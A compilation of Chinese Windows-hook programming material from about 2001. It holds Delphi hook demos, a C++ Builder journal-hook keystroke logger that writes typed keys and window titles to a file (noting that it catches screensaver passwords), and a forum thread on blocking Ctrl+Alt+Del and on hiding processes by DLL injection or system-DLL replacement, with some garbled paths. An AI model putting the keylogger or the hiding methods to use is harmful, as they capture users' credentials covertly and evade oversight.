function mouseproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function messageproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function shellproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function sysmsgproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

function foregroundidleproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

implementation

procedure saveinfo(k:integer;str:string);stdcall;

var

f:textfile;

workpath:string;

begin

workpath:=extractfilepath(paramstr(0));

assignfile(f,workpath+'records.txt');

if fileexists(workpath+'records.txt')=false then rewrite(f)

else append(f);

//if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')

//else write(f,str);

writeln(f,htname[k]+'----'+str);

closefile(f);

end;

function callwndproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

var

pcs:tcwpstruct;

begin

pcs:=tcwpstruct(pcwpstruct(lparam)^);

if ncode>=0 then

begin

if pcs.message=wm_lbuttonup then

saveinfo(1,format('hwnd=%x',[pcs.hwnd]));

end;

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function callwndretproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function cbtproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function debugproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function getmsgproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

var

pcs:tmsg;

begin

pcs:=tmsg(pmsg(lparam)^);

if ncode>=0 then

begin

if pcs.message=wm_lbuttonup then

saveinfo(5,format('hwnd=%x',[pcs.hwnd]));

end;

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function journalplaybackproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function journalrecordproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function keyboardproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function mouseproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function messageproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function shellproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function sysmsgproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

//

function foregroundidleproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

result:=callnexthookex(0,ncode,wparam,lparam);

end;

end.

--------这是*.dll主程序------------------

library demohook;

uses

windows,messages,sysutils,

hookproc in 'hookproc.pas';

{$r *.res}

const

hookmemfilename='dllhookmemfile.dta';

htname:array[1..13] of pchar=(

'callwndproc','callwndprocret','cbt','debug','getmessage','journalplayback',

'journalrecord','keyboard','mouse','msgfilter','shell','sysmsgfilter','foregroundidle'

);

type

thookproc = function(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

pshared=^tshared;

thook = record

hookhand:hhook;

hooktype:integer;

hookproc:thookproc;

end;

tshared = record

hook:array [0..16] of thook;

father,self:integer;

count:integer;

hinst:integer;

end;

twin = record

msg:tmsg;

wclass:twndclass;

hmain:integer;

end;

var

memfile:thandle;

shared:pshared;

win:twin;

wmhook:integer;

procedure saveinfo(k:integer;str:string);stdcall;

var

f:textfile;

workpath:string;

begin

workpath:=extractfilepath(paramstr(0));

assignfile(f,workpath+'records.txt');

if fileexists(workpath+'records.txt')=false then rewrite(f)

else append(f);

//if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')

//else write(f,str);

writeln(f,htname[k]+'----'+str);

closefile(f);

end;

procedure inithookdata;

var k:integer;

begin

with shared^ do

begin

for k:=0 to 14 do hook[k].hookhand:=0;

//

hook[0].hooktype:=wh_callwndproc;

hook[0].hookproc:=@callwndproc;

//

hook[1].hooktype:=wh_callwndprocret;

hook[1].hookproc:=@callwndretproc;

//

hook[2].hooktype:=wh_cbt;

hook[2].hookproc:=@cbtproc;

//

hook[3].hooktype:=wh_debug;

hook[3].hookproc:=@debugproc;

//

hook[4].hooktype:=wh_getmessage;

hook[4].hookproc:=@getmsgproc;

//

hook[5].hooktype:=wh_journalplayback;

hook[5].hookproc:=@journalplaybackproc;

//

hook[6].hooktype:=wh_journalrecord;

hook[6].hookproc:=@journalrecordproc;

//

hook[7].hooktype:=wh_keyboard;

hook[7].hookproc:=@keyboardproc;

//

hook[8].hooktype:=wh_mouse;

hook[8].hookproc:=@mouseproc;

//

hook[9].hooktype:=wh_msgfilter;

hook[9].hookproc:=@messageproc;

//

hook[10].hooktype:=wh_shell ;

hook[10].hookproc:=@shellproc;

//

hook[11].hooktype:=wh_sysmsgfilter;

hook[11].hookproc:=@sysmsgproc;

//

hook[12].hooktype:=wh_foregroundidle;

hook[12].hookproc:=@foregroundidleproc;

end;

end;

function sethook(fset:boolean;hookid:integer):bool;stdcall;

begin

with shared^ do

if fset=true then

begin

if hook[hookid].hookhand=0 then

begin

hook[hookid].hookhand:=setwindowshookex(hook[hookid].hooktype,hook[hookid].hookproc,hinstance,0);

if hook[hookid].hookhand<>0 then result:=true

else result:=false;

end else result:=true;

end else

begin

if hook[hookid].hookhand<>0 then

begin

if unhookwindowshookex(hook[hookid].hookhand)=true then

begin

hook[hookid].hookhand:=0;

result:=true;

end else result:=false;

end else result:=true;

end;

end;

procedure extro;

begin

unmapviewoffile(shared);

closehandle(memfile);

end;

function windowproc(hwnd,msg,wparam,lparam:longint):lresult; stdcall;

var k:integer;

begin

result:=defwindowproc(hwnd,msg,wparam,lparam);

case msg of

wm_destroy:

begin

for k:=0 to 12 do sethook(false,k);

postmessage(findwindow('winhook',nil),wm_destroy,0,0);

exitthread(0);

end;

end;

if msg=wmhook then

begin

if wparam>0 then

begin

if sethook(true,wparam-1)=true then postmessage(findwindow('winhook',nil),wmhook,wparam,0);

end else

begin

if sethook(false,-wparam-1)=true then postmessage(findwindow('winhook',nil),wmhook,wparam,0);

end;

end;

end;

procedure run;stdcall;

//var k:integer;

begin

win.wclass.lpfnwndproc:= @windowproc;

win.wclass.hinstance:= hinstance;

win.wclass.lpszclassname:='widehook';

registerclass(win.wclass);

win.hmain:=createwindowex(ws_ex_toolwindow,win.wclass.lpszclassname,'widehook',ws_caption,0,0,1,1,0,0,hinstance,nil);

fillchar(shared^,sizeof(tshared),0);

shared^.self:=win.hmain;

shared^.hinst:=hinstance;

inithookdata;

wmhook:=registerwindowmessage(pchar('wm_hook'));

while(getmessage(win.msg,win.hmain,0,0))do

begin

translatemessage(win.msg);

dispatchmessage(win.msg);

end;

end;

procedure dllentrypoint(fdwreason:dword);

begin

case fdwreason of

dll_process_detach:

extro;

end;

end;

exports run;

begin

//建立内存映象文件，用来保存全局变量

memfile:=createfilemapping($ffffffff,nil,page_readwrite,0,sizeof(tshared),hookmemfilename);

shared:=mapviewoffile(memfile,file_map_write,0,0,0);

dllproc:=@dllentrypoint;

end.

---------这是*.exe主程序---------------------------

program winhook;

uses windows,messages,sysutils;

{$r *.res} //使用资源文件

const

htname:array[1..13] of pchar=(

'callwndproc','callwndprocret','cbt','debug','getmessage','journalplayback',

'journalrecord','keyboard','mouse','msgfilter','shell','sysmsgfilter','foregroundidle'

);

type

twin = record

msg:tmsg;

wclass:twndclass;

hmain:integer;

hbut,hlab:array[1..16] of integer;

hlib:integer;

hookstat:array[1..16] of bool;

end;

var

win:twin; //结构变量

wmhook:integer;

workpath:string;

hrun:procedure;stdcall;

//

procedure runhookfun;

begin

win.hlib:=loadlibrary(pchar(workpath+'demohook.dll'));

if win.hlib=0 then messagebox(win.hmain,'error','',0);

hrun:=getprocaddress(win.hlib,'run');

if @hrun<>nil then hrun;

end;

procedure runhook;

var tid:integer;

begin

createthread(nil,0,@runhookfun,nil,0,tid);

end;

function windowproc(hwnd,msg,wparam,lparam:longint):lresult; stdcall;

var k:integer;

begin

case msg of

wm_syscommand:

begin

case wparam of

sc_close:

begin

if findwindow('widehook','widehook')<>0 then postmessage(findwindow('widehook','widehook'),wm_destroy,0,0);

end;//showwindow(hwnd,sw_hide);

sc_minimize:;//showwindow(hwnd,sw_hide);

sc_maximize:;

sc_default:;

sc_move:;

sc_size:;

//else

//result := defwindowproc(hwnd, umsg, wparam, lparam);

end;

exit;

end;

wm_command:

begin

for k:=1 to 13 do

begin

if (lparam=win.hbut[k]) and ((k=6) or (k=7)) then break;

if lparam=win.hbut[k] then

begin

if win.hookstat[k]=false then postmessage(findwindow('widehook','widehook'),wmhook,k,0)

else postmessage(findwindow('widehook','widehook'),wmhook,-k,0);

end;

end;

end;

wm_destroy:

begin

freelibrary(win.hlib);

halt;

end;

end;

if msg=wmhook then

begin

if wparam>0 then

begin

setwindowtext(win.hbut[wparam],pchar('stop'));

win.hookstat[wparam]:=true;

end else

begin

setwindowtext(win.hbut[-wparam],pchar('start'));

win.hookstat[-wparam]:=false;

end;

end;

result:=defwindowproc(hwnd,msg,wparam,lparam);

end;

//主程序的执行函数

procedure run;stdcall;

var k:integer;

begin

if findwindow('winhook',nil)<>0 then exit;

win.wclass.hinstance:= hinstance;

with win.wclass do

begin

hicon:= loadicon(hinstance,'mainicon');

hcursor:= loadcursor(0,idc_arrow);

hbrbackground:= color_btnface+1;

style:= cs_parentdc;

lpfnwndproc:= @windowproc;

lpszclassname:='winhook';

end;

registerclass(win.wclass);

win.hmain:=createwindow(win.wclass.lpszclassname,'delphi hook demo 2001',ws_visible or ws_overlappedwindow,0,0,240,450,0,0,hinstance,nil);

for k:=1 to 13 do

begin

win.hbut[k]:=createwindow('button','start',ws_visible or ws_child,10,10+30*(k-1),50,24,win.hmain,0,hinstance,nil);

win.hlab[k]:=createwindow('static',htname[k],ws_visible or ws_child,70,10+30*(k-1)+4,150,24,win.hmain,0,hinstance,nil);

win.hookstat[k]:=false;

end;

workpath:=extractfilepath(paramstr(0));

runhook;

wmhook:=registerwindowmessage(pchar('wm_hook'));

while(getmessage(win.msg,win.hmain,0,0)) do

begin

translatemessage(win.msg);

dispatchmessage(win.msg);

end;

end;

begin

run; //开始运行主程序

end.


系统日志钩子示例程序

日志钩子（JournalRecord Hook）的使用

---- 钩子是WINDOWS中消息处理机制的一个要点，通过安装各种钩子，应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多，每种钩子可以截获并处理相应的消息，如键盘钩子可以截获键盘消息，鼠标钩子可以截获鼠标消息，外壳钩子可以截获启动和关闭应用程序的消息，日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子，线程专用钩子只监视指定的线程，要监视系统中的所有线程，必须用到全局钩子。对于全局钩子，钩子函数必须包含在独立的动态链接库(DLL)中，这样才能被各种相关联的应用程序调用。在WINDOWS中，日志钩子是个很特别的钩子，它只有全局钩子一种，是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的，而且系统中只能存在一个这样的日志钩子，更重要是，它不必用在动态链接库中，这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子，我们可以监视各种输入事件，下面的示例可以用来记录键盘的输入，当有按键发生时，自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98，Borland C++ Builder4中编译通过。

---- 1．新建一个工程，在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别为“安装日志钩子”和“卸载日志钩子”。

---- 2． 定义如下全局变量：

HHOOK g_hLogHook=NULL; //钩子变量

HWND g_hLastFocus=NULL;

//记录上一次得到焦点的窗口句柄

const int KeyPressMask=0x80000000; //键盘掩码常量

char g_PrvChar; //保存上一次按键值

3．在Button1的OnClick事件中输入：

void __fastcall TForm1::Button1Click(TObject *Sender)

{

if (g_hLogHook==NULL)

g_hLogHook = SetWindowsHookEx

(WH_JOURNALRECORD,

(HOOKPROC)JournalLogProc,

HInstance,0); //安装日志钩子

}

4．在Button2的OnClick事件中输入：

void __fastcall TForm1::Button2Click(TObject *Sender)

{

if (g_hLogHook!=NULL)

{UnhookWindowsHookEx(g_hLogHook);

g_hLogHook=NULL;

} //卸载日志钩子

}

5．输入钩子回调函数：

HOOKPROC JournalLogProc(int iCode,

WPARAM wParam, LPARAM lParam)

{

if (iCode< 0) return (HOOKPROC)CallNextHookEx

(g_hLogHook,iCode,wParam,lParam);

if (iCode==HC_ACTION)

{EVENTMSG *pEvt=(EVENTMSG *)lParam;

int i;

HWND hFocus; //保存当前活动窗口句柄

char szTitle[256]; //当前窗口名称

char szTime[128]; //保存当前的日期和时间

FILE *stream=fopen(“c:\logfile.txt”,"a+t");

if (pEvt->message==WM_KEYDOWN)

{int vKey=LOBYTE(pEvt- >paramL); // 取得虚拟键值

char ch;

char str[10];

hFocus=GetActiveWindow();

//取得当前活动窗口句柄

if(g_hLastFocus!=hFocus)

//当前活动窗口是否改变

{GetWindowText(hFocus,szTitle,256);

g_hLastFocus=hFocus;

strcpy(szTime,DateTimeToStr(Now())

.c_str()); //得到当前的日期时间

fprintf(stream,"%c%s%c%c%s",

10,szTime,32,32,szTitle); //写入文件

fprintf(stream,"%c%c",32,32);

}

int iShift=GetKeyState(0x10);

//测试SHIFT,CAPTION,NUMLOCK等键是否按下

int iCapital=GetKeyState(0x14);

int iNumLock=GetKeyState(0x90);

bool bShift=(iShift & KeyPressMask)==KeyPressMask;

bool bCapital=(iCapital & 1)==1;

bool bNumLock=(iNumLock & 1)==1;

if (vKey >=48 && vKey< =57)

// 数字0-9

if (!bShift) fprintf(stream,"%c",vKey);

if (vKey >=65 && vKey< =90)

// A-Z a-z

{if (!bCapital)

if (bShift) ch=vKey; else ch=vKey+32;

else

if (bShift) ch=vKey+32; else ch=vKey;

fprintf(stream,"%c",ch);

}

if (vKey >=96 && vKey< =105) // 小键盘0-9

if (bNumLock) fprintf(stream,"%c",vKey-96+48);

if (vKey>=186 && vKey<=222) // 其他键

{switch (vKey)

{case 186:if (!bShift) ch=';'; else ch=':';break;

case 187:if (!bShift) ch='='; else ch='+';break;

case 188:if (!bShift) ch=','; else ch='<' ;break;

case 189:if (!bShift) ch='-'; else ch='_';break;

case 190:if (!bShift) ch='.'; else ch=' >';break;

case 191:if (!bShift) ch='/'; else ch='?';break;

case 192:if (!bShift) ch='`'; else ch='~';break;

case 219:if (!bShift) ch='['; else ch='{';break;

case 220:if (!bShift) ch='\'; else ch='|';break;

case 221:if (!bShift) ch=']'; else ch='}';break;

case 222:if (!bShift) ch=''; else ch='"';break;

default:ch='n';break;

}

if (ch!='n') fprintf(stream,"%c",ch);

}

// if (wParam >=112 && wParam<=123)

// 功能键 [F1]-[F12]

if (vKey >=8 && vKey< =46) //方向键

{switch (vKey)

{case 8:strcpy(str,"[BK]");break;

case 9:strcpy(str,"[TAB]");break;

case 13:strcpy(str,"[EN]");break;

case 32:strcpy(str,"[SP]");break;

case 33:strcpy(str,"[PU]");break;

case 34:strcpy(str,"[PD]");break;

case 35:strcpy(str,"[END]");break;

case 36:strcpy(str,"[HOME]");break;

case 37:strcpy(str,"[LF]");break;

case 38:strcpy(str,"[UF]");break;

case 39:strcpy(str,"[RF]");break;

case 40:strcpy(str,"[DF]");break;

case 45:strcpy(str,"[INS]");break;

case 46:strcpy(str,"[DEL]");break;

default:ch='n';break;

}

if (ch!='n')

{if (g_PrvChar!=vKey)

{fprintf(stream,"%s",str);

g_PrvChar=vKey;

}

}

}

}

if

(pEvt- >message==WM_LBUTTONDOWN || pEvt- >message

==WM_RBUTTONDOWN)

{hFocus=GetActiveWindow();

if (g_hLastFocus!=hFocus)

{g_hLastFocus=hFocus;

GetWindowText(hFocus,szTitle,256);

strcpy(szTime,DateTimeToStr(Now()).c_str());

//得到当前的日期时间

fprintf(stream,"%c%s%c%c%s",

10,szTime,32,32,szTitle); //写入文件

fprintf(stream,"%c%c",32,32);

}

}

fclose(stream);

return (HOOKPROC)CallNextHookEx

(g_hLogHook,iCode,wParam,lParam);

}

---- 将工程编译执行后，每当激活一个窗口时，就会把当前窗口名称写入文件c:.txt中，当有按键时，按键的名称也会写入此文件中，这里的并没有处理全部的按键，读者可根据需要添加相应的语句。要捕捉键盘的按键动作，用键盘钩子(Keyboard Hook)也同样可以实现，但是用日志钩子却比键盘钩子要方便许多。首先，如果要捕捉其他应用程序的按键，即做成全局钩子，键盘钩子一定要单独放在动态链接库中，而日志钩子却不必；其次，在键盘钩子函数得到的键盘按键之前，系统已经处理过这些输入了，如果系统把这些按键屏蔽掉，键盘钩子就无法检测到它们，例如，当输入屏幕保护程序密码时，键盘钩子无法检测到用户输入了那些字符，而日志钩子却可以检测到。

From: www.delphibbs.com

**************************

{

win9x,nt,w2k 中的系统日志钩子示例程序(delphi 版)

-----------------------------------------------------

windows下的日志钩子是一种很有用的hook类型，他不需要动态链接库*.dll，就能实现

系统级的事件监控,它只能监视两种硬件的事件，即鼠标，键盘的操作，而不能监视其它

消息，被记录的消息可以用日志回放钩子将它还原，下面这个程序用delphi设计，没有

用delphi的控件，只用了win32 api，所以通用于delphi的任何版本，当然你也可以用c

来实现,有看不懂的可以写信给我，这是第一版，可能有bug,大家发现了通知我一下，欢

迎大家和我一起来讨论hook技术:

-----------------------------------------------------

first created:njhhack 2001.6.14 (ver1.0)

电子信箱:njhhack@21cn.com

主页:hotsky.363.net

}

program journal;

//包含如下头文件

uses windows,messages,sysutils;

{$r *.res} //使用资源文件

//定义一个新的结构类型

type

twin = record

msg:tmsg;

wclass:twndclass;

hmain:integer;

lr:trect;

tem:teventmsg;

end;

var

win:twin; //结构变量

hhjournalrecordproc:integer; //日志钩子句柄

//将字符串str写到文件c:.txt中

procedure saveinfo(str:string);stdcall;

var

f:textfile;

fname:string;

begin

fname:='c:.txt';

assignfile(f,fname);

if fileexists(fname)=false then rewrite(f)

else append(f);

writeln(f,str);

closefile(f);

end;

//将信息写到屏幕

procedure writestr;

var

hdc:integer;

str:string;

begin

hdc:=getdc(win.hmain);

roundrect(hdc,10,10,240,140,12,8);

with win.tem do

begin

str:=format('窗口句柄=%x',[hwnd]);

textout(hdc,30,24*1,pchar(str),length(str));

str:=format('鼠标位置=(%d,%d)',[paraml,paramh]);

textout(hdc,30,24*2,pchar(str),length(str));

str:=format('消息类型=%x',[message]);

textout(hdc,30,24*3,pchar(str),length(str));

str:=format('时间=%d',[time div 1000]);

textout(hdc,30,24*4,pchar(str),length(str));

end;

releasedc(win.hmain,hdc);

end;

//日志钩子的回调函数

function journalrecordproc(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;

begin

win.tem:=teventmsg(peventmsg(lparam)^);

if ncode>=0 then

begin

with win.tem do

begin

with win.lr do

begin

left:=10;

top:=10;

right:=240;

bottom:=140;

end;

invalidaterect(win.hmain,@win.lr,false);

if message=wm_lbuttondown then

begin

saveinfo(format('窗口句柄=%x,鼠标位置=(%d,%d),消息类型=wm_lbuttondown,时间=%d',[hwnd,paraml,paramh,time div 1000]));

end;

end;

end;

result:=callnexthookex(hhjournalrecordproc,ncode,wparam,lparam); //调用下一个钩子

end;

//钩子设置和删除函数

procedure sethook(fset:boolean);

begin

if fset=true then

begin

if hhjournalrecordproc=0 then hhjournalrecordproc:=setwindowshookex(wh_journalrecord,@journalrecordproc,hinstance,0);

end else

begin

if hhjournalrecordproc<>0 then unhookwindowshookex(hhjournalrecordproc);

end;

end;

//主程序的回调函数

function windowproc(hwnd,msg,wparam,lparam:longint):lresult; stdcall;

begin

result:=defwindowproc(hwnd,msg,wparam,lparam);

case msg of

wm_paint:writestr;

wm_destroy:begin sethook(false);halt;end;

end;

end;

//主程序的执行函数

procedure run;stdcall;

begin

win.wclass.hinstance:= hinstance;

with win.wclass do

begin

hicon:= loadicon(hinstance,'mainicon');

hcursor:= loadcursor(0,idc_arrow);

hbrbackground:= color_btnface+1;

style:= cs_parentdc;

lpfnwndproc:= @windowproc;

lpszclassname:='journalrecordhook';

end;

registerclass(win.wclass);

win.hmain:=createwindow(win.wclass.lpszclassname,'系统日志钩子演示程序',ws_visible or ws_overlappedwindow,10,10,260,180,0,0,hinstance,nil);

sethook(true);

while(getmessage(win.msg,win.hmain,0,0))do

begin

translatemessage(win.msg);

dispatchmessage(win.msg);

end;

end;

begin

run; //开始运行主程序

end.


在Windows2000中拦截Ctrl+Alt+Del

问题：在win2000中如何屏蔽ctrl+del+alt键和其他系统键(98下可以为什么在2000下就不行) ( 积分：100, 回复：20, 阅读：198 )

分类：系统相关 ( 版主：luyear, zyy04 )

来自：xan, 时间：2001-8-26 21:09:00, ID：607224 [显示：小字体 | 大字体]

rt!

来自：lsyx, 时间：2001-9-5 14:20:00, ID：612055

win2000系统不允许屏蔽系统建，因为它的登录和任务管理都用的是ctrl＋alt＋del

来自：goddy, 时间：2001-9-5 18:39:00, ID：612514

hook the key

来自：梆梆, 时间：2001-9-6 16:15:00, ID：613742

有人认为使用一个键盘钩子WH_KEYBOARD就可以解决问题，但实际上问题并不是那么简单。

这是因为键盘钩子WH_KEYBOARD不能截取到系统键的输入。在Windows NT 4.0 SP3或 Windows 2000下系统提供了一个底层系统钩子（Low Level Hook）WH_KEYBOARD_LL。底层键盘钩子存在于用户敲击键盘和系统处理之间，而普通键盘钩子则存在于系统产生WM_KEY＊＊＊消息之后。很清楚，普通键盘钩子只能截获WM_KEY＊＊＊消息，而不能对系统键进行操作。但是底层键盘钩子有一个致命的弱点，就是如果调用它的进程或线程出现死循环，则系统将不能处理任何键盘操作。为了解决这个问题，微软在注册表中给出了一个底层键盘钩子处理的限制时间，如果超出了这个时间，系统将进入正常处理。这个时间键值存储在注册表的HKEY_CURRENT_USERPanel LowLevelHooksTimeout下。

首先需要安装钩子：

HHOOK SetWindowsHookEx(int iHookCode,

HOOKPROC lpfn,HINSTANCE hModule,DWORD dwThreadId);

其中，第一个参数是钩子的类型；第二个参数是钩子函数的地址；第三个参数是包含钩子函数的模块句柄；第四个参数指定监视的线程。如果指定确定的线程，即为线程专用钩子；如果指定为空，即为全局钩子。其中，全局钩子函数必须包含在DLL（动态链接库）中，而线程专用钩子还可以包含在可执行文件中。得到控制权的钩子函数在完成对消息的处理后，如果想要该消息继续传递，那么它必须调用另外一个SDK中的API函数CallNextHookEx来传递它。钩子函数也可以通过直接返回TRUE来丢弃该消息，并阻止该消息的进一步传递。

下面是实现底层键盘钩子的部分源代码：

LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam, LPARAM lParam)

{

    BOOL fEatKeystroke = FALSE;

      If (nCode == HC_ACTION) {

        switch (wParam) {

        case WM_KEYDOWN:

        case WM_SYSKEYDOWN:

        case WM_KEYUP:

        case WM_SYSKEYUP:

          PKBDLLHOOKSTRUCT p =

(PKBDLLHOOKSTRUCT) lParam;

          fEatKeystroke =((p－>vkCode ==

VK_TAB) ＆＆ ((p－>flags ＆ LLKHF_ALTDOWN)

!= 0)) ||((p－>vkCode == VK_ESCAPE) ＆＆ ((p－>flags ＆ LLKHF_ALTDOWN) != 0)) ||((p－>vkCode == VK_ESCAPE) ＆＆

((GetKeyState(VK_CONTROL) ＆ 0x8000) != 0));

          break;

}

      }

return(fEatKeystroke ? 1 : CallNextHookEx(NULL, nCode, wParam, lParam));

    }

   int WINAPI WinMain(HINSTANCE hinstExe, HIN

STANCE, PTSTR pszCmdLine, int)

{

    //安装底层键盘钩子

HHOOK hhkLowLevelKybd = SetWindow

sHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc,

hinstExe, 0);

    MessageBox(NULL,TEXT(“Alt＋Esc, Ctrl＋Esc, and Alt＋Tab are now disabled.”),TEXT(“Click \u8220“Ok\u8221” to terminate this application and re－enable these keys.”),TEXT(“Disable Low－Level Keys”), MB_OK);

    UnhookWindowsHookEx(hhkLowLevelKybd);

    return(0);

    }

来自：xWolf, 时间：2001-9-6 17:36:00, ID：613901

上面的例子是MSDN里的，不过很显然，是无法屏蔽Ctrl+Alt+Del的。我只知道如何去模拟一次Ctrl+Alt+Del

来自：smilboy, 时间：2001-9-9 0:21:00, ID：617046

能不能用汇编完全锁死键盘呢？

请讨论：给出汇编代码,成功后我给200分

来自：forss, 时间：2001-9-13 13:16:00, ID：623708

用汇编锁键盘很简单，

procedure Tmainform.Lockkey(lock: boolean);

begin

if lock = true then

begin

asm //封锁20端口 锁定键盘 98&95

IN AL,21H

OR AL,02H

OUT 21H,AL

end;

end

else

begin

asm //解锁20端口 解锁键盘

IN AL,21H

AND AL,0FDH

OUT 21H,AL

end;

end;

end;

来自：iamfly, 时间：2001-9-13 13:22:00, ID：623725

这段汇编在2000下能用吗？我怀疑：)

来自：forss, 时间：2001-9-13 13:29:00, ID：623735

当然不行，，写的很清楚啦。。。：）

来自：iamfly, 时间：2001-9-13 13:36:00, ID：623750

既然不行，在98下不用汇编也能做到吗：)

现在XAN就是想知道在2000下怎么做^_^

我也曾经尝试过，最后就是没下文。。。

来自：atorm, 时间：2001-9-20 19:41:00, ID：636154

1、运行注册表编辑器。

2、打开HKEY_CURRENT_USER子键，

新建一个名为NoWinKeys的双字节值，数值为1。

来自：guoyan, 时间：2001-9-22 10:47:00, ID：639083

to atorm :

您的方法管用吗？

来自：softdog, 时间：2001-9-22 11:08:00, ID：639101

2000下允许截获CTRL+ALT+DEL组合吗？

来自：xan, 时间：2001-9-23 13:00:00, ID：640476

我的本意是不想让别人结束我的程序,如果能把进程隐藏掉也行,

比如我做一个收费系统的客户端.拜托各位给我想想办法.

来自：fanren945, 时间：2001-9-23 13:18:00, ID：640489

[:)][center][/center]关注

来自：mikedeakins, 时间：2001-9-23 15:39:00, ID：640617

做成 windows service，你的收费系统总是要运行在 user 权限上吧？这个权限不能

进行服务管理。

如果你觉得麻烦，可以简化 service，判断你的程序被结束了就重新加载那个程序。

来自：xan, 时间：2001-9-28 9:47:00, ID：649203

我得意思是 在每台客户机上安装一客户端软件，每次开机，程序自动运行，连接到服

务器上，这样当然是不允许他关闭我得程序，目的能达到不能关闭就行，屏蔽系统键是一

个办法，隐藏进程好像是一个更好的办法。

如果不能屏蔽系统键，那么隐藏进程有没有好的方法呢？我知道在98下是可以的，调用一个

api函数即可，但2000下此函数不支持，不知道还有没有别的函数？请高手不吝赐教！！！

我见过一个程序，在任务管理器中根本看不到它，就是不知道他是怎么实现的！

来自：zeroworld, 时间：2001-9-28 10:32:00, ID：649284

不用想了，win2K下肯定是不能屏蔽Ctrl+alt+del的，这是为了2K的安全性考虑的

进程也是不能屏蔽掉的，只要是进程在win2K的任务管理器中都是能看到的

最好的方法是用线程，将dll的线程导入win2K常用的程序中，比如rundll32调用这个dll函数

这样在任务管理器中看到的就是rundll32这个进程了，一般人不会注意，当然这个只是简单的

隐藏，比较低级吧，高级一点的是用函数转发。将win2K常用的dll替换成你的。例如shell32.dll

等等的，将原来的shell32.dll改名为shell32x.dll等，然后判断win2K的请求

来自：smilboy, 时间：2001-9-28 11:53:00, ID：649488

如果是隐藏进程可以把你的程序绑定到Explorer.exe这样他就没办法关闭你的程序了

如何绑定？请查阅黑客网站或者这里

http://jingtao.delphibbs.com 他有一个二合一的工具，你还可以和他要该程序的Delphi的

原文件[:)]

来自：flier, 时间：2001-9-29 4:18:00, ID：650659

以上面这些方法在Win2K下根本不可能完全屏蔽Ctrl+Alt+Del，

因为这三个键以及其他几个热键的处理，是独立于键盘队列的

以我目前所知，唯一一种用户模式编程实现的可行方法就是

编写GINA DLL，至于怎么写，你如果自认为水平足够，直接去看MSDN

好了，如果没把握最好别自找麻烦，否则就要重装系统了 :)

来自：zw84611, 时间：2001-9-30 13:45:00, ID：652754

到www.vckbase.com去看看。

WINDOWS NT/2000下如何屏蔽CTRL+ALT+DEL

作者:ac952_z_cn

前言

在WINDOWS 9X环境中我们可以使用SystemParametersInfo (SPI_SCREENSAVERRUNNING, 1,NULL, 0);来屏蔽CTRL+ALT+DEL,但在NT/2000环境下却行不通,即使使用WH_KEYBOARD_LL这个低级的键盘hook也无法拦截！笔者通过替换GINA DLL的方式很好地实现了在NT/2000下屏蔽CTRL+ALT+DEL的功能。

下载源代码 6K

一、原理

在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的，GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。在WinLogon初始化时，就向系统注册截获CTRL+ALT+DEL消息，所以其他程序就无法得到CTRL+ALT+DEL的消息。

WinLogon会和GINA DLL进行交互，缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供的接口，自己

可以编GINA DLL来代替MSGINA.DLL。

WinLogon初始化时会创建3个桌面：

(1)、winlogon桌面：主要显示window 安全等界面，如你按下CTRL+ALT+DEL,登陆的界面等

(2)、应用程序桌面：我们平时见到的那个有我的电脑的界面

(3)、屏幕保护桌面：屏幕保护显示界面。

在用户登陆以后，按下CTRL+ALT+DEL键的时候，WinLogon回调用GINA DLL的输出函数：WlxLoggedOnSAS，

这时正处于winlogon桌面，我们只要直接将他转向应用程序桌面，系统就不会显示Windows安全那个界面，换一种说法

也就是用户按下CTRL+ALT+DEL后，不会起什么作用。当是我们在切换桌面的时候会出现屏幕闪动！

二、程序实现

GINA DLL要输出下列函数(winlogon会调用)

WlxActivateUserShell

WlxDisplayLockedNotice

WlxDisplaySASNotice

WlxDisplayStatusMessage

WlxGetStatusMessage

WlxInitialize
